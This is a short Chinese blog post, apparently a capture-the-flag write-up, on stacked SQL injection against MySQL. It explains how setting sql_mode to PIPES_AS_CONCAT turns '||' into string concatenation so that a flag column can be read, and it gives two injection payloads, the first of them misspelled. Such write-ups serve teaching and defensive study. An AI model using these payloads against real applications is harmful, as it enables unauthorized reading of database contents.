堆叠注入

 

SRE实战 互联网时代守护先锋，助力企业售后服务体系运筹帷幄！一键直达领取阿里云限量特价优惠。

利用原理：

补充系统变量@@sql_modesql_mode：是一组mysql支持的基本语法及校验规则
PIPES_AS_CONCAT：将“||”视为字符串的连接操作符而非或运算符，这和Oracle数据库是一样的，也和字符串的拼接函数Concat相类似

猜测后台sql语句为：

select 接受的变量 || flag form flag;

payload：

1;set sql_mode=pipes_as_contact;select1;

//闭合     //设置变量                         //拼接sql语句

 

*,1

//拼接起来的sql语句是    select *,1 || flag from flag;

扫码关注我们
微信号：SRE实战
拒绝背锅 运筹帷幄